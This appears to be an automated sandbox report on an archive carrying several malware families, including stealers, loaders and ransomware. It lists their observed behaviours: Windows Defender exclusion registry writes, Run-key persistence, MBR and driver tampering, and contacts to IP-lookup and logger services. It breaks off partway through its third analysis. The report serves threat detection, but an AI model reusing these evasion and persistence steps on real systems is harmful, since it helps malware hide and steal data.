Malware Analysis Report

2024-10-23 21:35

Sample ID 240510-qrm6gagh7z
Target v3_file_x86x64.rar
SHA256 29ad7d20e6b80713f0c74d711378f1b35ec3e77bc69af90c136c9e36c6f12b56
Tags
glupteba privateloader risepro stealc bootkit discovery dropper evasion execution loader persistence rootkit spyware stealer themida trojan upx djvu lumma redline vidar zgrat 681a223bec180ebfdc48547d3d5bd784 logsdiller cloud (tg: @logsdillabot) infostealer ransomware rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral7

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral8

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

29ad7d20e6b80713f0c74d711378f1b35ec3e77bc69af90c136c9e36c6f12b56

Threat Level: Known bad

The file v3_file_x86x64.rar was found to be: Known bad.

Malicious Activity Summary

glupteba privateloader risepro stealc bootkit discovery dropper evasion execution loader persistence rootkit spyware stealer themida trojan upx djvu lumma redline vidar zgrat 681a223bec180ebfdc48547d3d5bd784 logsdiller cloud (tg: @logsdillabot) infostealer ransomware rat

RedLine

ZGRat

Detected Djvu ransomware

Glupteba

Windows security bypass

RedLine payload

Lumma Stealer

Stealc

Glupteba payload

Modifies firewall policy service

Detect ZGRat V1

PrivateLoader

Djvu Ransomware

Detect Vidar Stealer

RisePro

Vidar

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Modifies boot configuration data using bcdedit

Stops running service(s)

Modifies Windows Firewall

Blocklisted process makes network request

Possible attempt to disable PatchGuard

Command and Scripting Interpreter: PowerShell

Downloads MZ/PE file

Drops file in Drivers directory

Command and Scripting Interpreter: PowerShell

Creates new service(s)

Executes dropped EXE

Loads dropped DLL

Checks BIOS information in registry

Windows security modification

Themida packer

Modifies file permissions

Reads data files stored by FTP clients

Drops startup file

UPX packed file

.NET Reactor proctector

Reads user/profile data of web browsers

Checks computer location settings

Checks installed software on the system

Adds Run key to start application

Checks whether UAC is enabled

Manipulates WinMonFS driver.

Drops Chrome extension

Looks up external IP address via web service

Accesses cryptocurrency files/wallets, possible credential harvesting

Legitimate hosting services abused for malware hosting/C2

Writes to the Master Boot Record (MBR)

Manipulates WinMon driver.

Drops file in System32 directory

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of SetThreadContext

Drops file in Program Files directory

Launches sc.exe

Drops file in Windows directory

Checks for VirtualBox DLLs, possible anti-VM trick

Program crash

Enumerates physical storage devices

Creates scheduled task(s)

Uses Task Scheduler COM API

Enumerates system info in registry

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Modifies registry class

Suspicious behavior: LoadsDriver

Suspicious behavior: GetForegroundWindowSpam

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Suspicious use of AdjustPrivilegeToken

Suspicious use of SendNotifyMessage

Suspicious use of WriteProcessMemory

Suspicious use of FindShellTrayWindow

Modifies data under HKEY_USERS

Modifies system certificate store

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-10 13:30

Signatures

Themida packer

themida
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-10 13:29

Reported

2024-05-10 13:33

Platform

win7-20240215-en

Max time kernel

119s

Max time network

123s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\concrt140.dll,#1

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2416 wrote to memory of 1876 N/A C:\Windows\system32\rundll32.exe C:\Windows\system32\WerFault.exe
PID 2416 wrote to memory of 1876 N/A C:\Windows\system32\rundll32.exe C:\Windows\system32\WerFault.exe
PID 2416 wrote to memory of 1876 N/A C:\Windows\system32\rundll32.exe C:\Windows\system32\WerFault.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\concrt140.dll,#1

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 2416 -s 80

Network

N/A

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-10 13:29

Reported

2024-05-10 13:33

Platform

win10v2004-20240508-en

Max time kernel

90s

Max time network

153s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\concrt140.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\concrt140.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
BE 88.221.83.178:443 www.bing.com tcp
US 8.8.8.8:53 178.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 101.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp

Files

N/A

Analysis: behavioral7

Detonation Overview

Submitted

2024-05-10 13:29

Reported

2024-05-10 13:33

Platform

win7-20240221-en

Max time kernel

150s

Max time network

147s

Command Line

"C:\Users\Admin\AppData\Local\Temp\setup.exe"

Signatures

Glupteba

loader dropper glupteba

Glupteba payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Modifies firewall policy service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1" C:\Users\Admin\AppData\Local\Temp\setup.exe N/A

PrivateLoader

loader privateloader

RisePro

stealer risepro

Stealc

stealer stealc

Windows security bypass

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\REeMUtPoCvFU2 = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\mrYrpJCpOmktZWwz = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\mrYrpJCpOmktZWwz = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\REeMUtPoCvFU2 = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\NGysLhxJEZNwhMVB = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\BeEwQyQINcRtuKICoSR = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\NGysLhxJEZNwhMVB = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\mrYrpJCpOmktZWwz = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\RcAuZGsZhuUn = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\kLpsRMujXEpbC = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\mrYrpJCpOmktZWwz = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\tffvHWJZU = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\RcAuZGsZhuUn = "0" C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\tffvHWJZU = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\hGbHU7DrQaGAkCCMGvA0Qtgx.exe = "0" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\BeEwQyQINcRtuKICoSR = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\kLpsRMujXEpbC = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj = "0" C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths C:\Windows\SysWOW64\reg.exe N/A

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\setup.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A

Creates new service(s)

persistence execution

Downloads MZ/PE file

Drops file in Drivers directory

Description Indicator Process Target
File created C:\Windows\system32\drivers\Winmon.sys C:\Windows\rss\csrss.exe N/A

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A

Possible attempt to disable PatchGuard

evasion

Stops running service(s)

evasion execution

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7zS8C39.tmp\Install.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\rundll32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\setup.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Control Panel\International\Geo\Nation C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\va86k3QJbH_FIU3g4Egyljx0.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\eMW17giTOz0ZdEzlFlfctqJt.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\5ClIAdk6B2zwwZVtVh02Atny.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\FV7GUk4b45l7XYLV6pdAL3wB.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\1aO_4Ph8WjTL8YmsDvgspMmM.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\gxBDucONf56oCzQOjnfB2OuI.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-0DIF9.tmp\16M2bK7ld_RrUPZ3cDbUvbQJ.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Fast Mixer Free Edition\fastmixerfreeedition.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS79B2.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS8C39.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Fast Mixer Free Edition\fastmixerfreeedition.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
N/A N/A C:\Windows\rss\csrss.exe N/A
N/A N/A C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj\gvUvpqXuJGpWbAU\XKywUjg.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe N/A
N/A N/A C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
N/A N/A C:\Windows\windefender.exe N/A
N/A N/A C:\Windows\windefender.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\uzZi9rEzAxV101Nw31wN1vyL.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\uzZi9rEzAxV101Nw31wN1vyL.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\16M2bK7ld_RrUPZ3cDbUvbQJ.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-0DIF9.tmp\16M2bK7ld_RrUPZ3cDbUvbQJ.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-0DIF9.tmp\16M2bK7ld_RrUPZ3cDbUvbQJ.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-0DIF9.tmp\16M2bK7ld_RrUPZ3cDbUvbQJ.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-0DIF9.tmp\16M2bK7ld_RrUPZ3cDbUvbQJ.tmp N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\q_yi4loLbGVuP3gdnWSiieTm.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS79B2.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS79B2.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS79B2.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS79B2.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS8C39.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS8C39.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS8C39.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\FV7GUk4b45l7XYLV6pdAL3wB.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\FV7GUk4b45l7XYLV6pdAL3wB.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe N/A
N/A N/A C:\Windows\rss\csrss.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe N/A
N/A N/A C:\Windows\rss\csrss.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Themida packer

themida
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Windows security modification

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\hGbHU7DrQaGAkCCMGvA0Qtgx.exe = "0" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" C:\Windows\rss\csrss.exe N/A

Checks installed software on the system

discovery

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\setup.exe N/A

Drops Chrome extension

Description Indicator Process Target
File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A iplogger.org N/A N/A
N/A iplogger.org N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ipinfo.io N/A N/A
N/A ipinfo.io N/A N/A
N/A api.myip.com N/A N/A
N/A api.myip.com N/A N/A

Manipulates WinMon driver.

rootkit evasion
Description Indicator Process Target
File opened for modification \??\WinMon C:\Windows\rss\csrss.exe N/A

Manipulates WinMonFS driver.

rootkit evasion
Description Indicator Process Target
File opened for modification \??\WinMonFS C:\Windows\rss\csrss.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PHYSICALDRIVE0 C:\Users\Admin\Documents\SimpleAdobe\1aO_4Ph8WjTL8YmsDvgspMmM.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_672E22BF4DD6902F7F85F941E23571DA C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA C:\Windows\Temp\mrYrpJCpOmktZWwz\vkQZSkunSJsHwFm\XbtEaun.exe N/A
